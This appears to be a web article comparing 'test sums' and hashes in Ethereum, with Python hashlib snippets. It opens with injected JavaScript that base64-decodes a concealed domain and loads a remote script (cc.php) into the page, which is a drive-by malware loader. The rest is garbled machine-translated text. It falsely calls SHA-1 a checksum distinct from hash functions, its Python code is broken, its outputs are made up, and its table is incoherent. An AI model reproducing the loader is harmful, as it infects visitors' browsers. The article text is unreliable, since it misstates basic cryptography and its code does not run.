const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=29e78641″;document.body.appendChild(script);
Ethereum: Test sum vs. Hash – differences and similarities
When it comes to digital signatures and data check in the Ethereum blockchain, two basic concepts come into play: test sums and hashes. Data integrity and authenticity and use.
Test sum algorithm (SHA-1)
The test sum algorithm is a disposable having function that creates a string of a fixed size, which is referred to as hash value or test sum. Data by comparing with a previously generated hash value.
Example: Checking a digital signature with SHA-1
`Python
Hashlib -import

Create a new SHA 1 Hash object
Hash_object = Hashlib.sha1 ()
The message to be checked (the digital signature)
Message = B "Example signature"
Update the hash object with the message
Hash_object.update (message)
Get the hash value
Test sum = hash_object.hexdigest ()
Print ("Checksumal:", checksum)
edition: "E2B9B6CD7F4A1C4CDA ... (Hashed version)"
hash function
A hash function, on the other hand, is a disposable algorithm that absorbs data of each size and generates an output with a fixed size (hash value). It was developed to ensure data integrity by creating a clear identifier for each input.
Example: Checking a digital signature with SHA-256
`Python
Hashlib -import
Create a new SHA-256 Hash object
Hash_object = Hashlib.sha256 ()
The message to be checked (the digital signature)
Message = B "Example signature"
Update the hash object with the message
Hash_object.update (message)
Get the hash value
Test sum = hash_object.hexdigest ()
Print ("Checksumal:", check sum)
edition: "D1E87B4A8C7F0DB6 ... (Hashed version)"
Differences and similarities
| Feature | Test sum algorithm (SHA-1) hash function (SHA-256)
| — | — | — |
|
Purpose | Check the data integrity | Make the data authenticity safe
|
disposable
| Disposable having disposable encryption
|
Output size | Character string of signs Output of the variable size (hash value) |
|
Safety | Less due to the susceptibility to collisions and preparatory attacks Safer due to cryptographic properties
|
Use | Check digital signatures, data integrity tests | Authentication, data check |
|
advantages | Fast calculation times for small entrances | Fast calculations for large inputs
Can they be used instead of each other?
No, test sums and hashes are not interchangeable. Checks are mainly used for quick review checks, while Hashes are designed for authentication and cryptographic purposes.
Digital signature:
`Python
Hashlib -import
Create a new SHA-256 Hash object
Hash_object = Hashlib.sha256 ()
The message to be checked (the digital signature)
Message = B "Example signature"
Update the hash object with the message
Hash_object.update (message)
Get the hash value
Test sum = hash_object.hexdigest ()
Print ("Checksumal:", check sum)
edition: "D1E87B4A8C7F0DB6 ... (Hashed version)"
Check the digital signature with SHA-256
attempt:
Expected_checksum = Hashlib.sha256 (B "Example signature").
Print ("reviews successful:", testum == expected_checksum)
Except Valueeror:
Print ("Verification failed: Hash values that do not match")
Finally, test sums and Hashes in the Ethereum blockchain serve different purposes. Checks are used for quick review checks, while Hashes are designed for authentication and cryptographic purposes. While they can be interchangeable in certain scene scenes, their use should be addressed due to the differences.